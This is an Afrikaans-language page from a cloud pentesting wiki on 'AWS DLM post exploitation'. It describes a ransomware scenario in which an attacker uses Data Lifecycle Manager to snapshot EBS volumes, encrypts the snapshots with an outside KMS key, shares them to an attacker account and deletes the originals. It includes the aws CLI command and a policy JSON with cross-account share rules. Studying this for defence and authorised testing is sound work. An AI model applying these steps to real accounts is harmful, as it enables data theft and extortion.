# AWS - DLM Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Data Lifecycle Manger (DLM)

### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`

'n Ransomware-aanval kan uitgevoer word deur soveel EBS volumes as moontlik te enkripteer en dan die huidige EC2 instances, EBS volumes en snapshots uit te wis. Om hierdie kwaadwillige aktiwiteit te outomatiseer, kan mens Amazon DLM gebruik om die snapshots te enkripteer met 'n KMS key van 'n ander AWS account en die enkripteerde snapshots na 'n ander rekening oor te dra. Alternatiewelik kan hulle snapshots sonder enkripsie na 'n rekening wat hulle beheer oordra en dit dan daar enkripteer. Alhoewel dit nie eenvoudig is om bestaande EBS volumes of snapshots direk te enkripteer nie, is dit moontlik deur 'n nuwe volume of snapshot te skep.

Eerstens sal mens 'n opdrag gebruik om inligting oor volumes in te samel, soos instance ID, volume ID, enkripsiestatus, attachment status en volume tipe.

`aws ec2 describe-volumes`

Vervolgens sal mens die lifecycle policy skep. Hierdie opdrag gebruik die DLM API om 'n lifecycle policy op te stel wat outomaties daaglikse snapshots van gespesifiseerde volumes op 'n aangewese tyd neem. Dit pas ook spesifieke tags toe op die snapshots en kopieer tags van die volumes na die snapshots. Die policyDetails.json file bevat die besonderhede van die lifecycle policy, soos teiken-tags, skedule, die ARN van die opsionele KMS key vir enkripsie, en die teikenrekening vir snapshot sharing, wat in die slagoffer se CloudTrail logs aangeteken sal word.
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
'n Sjabloon vir die beleidsdokument kan hier gesien word:
```bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
```
{{#include ../../../../banners/hacktricks-training.md}}
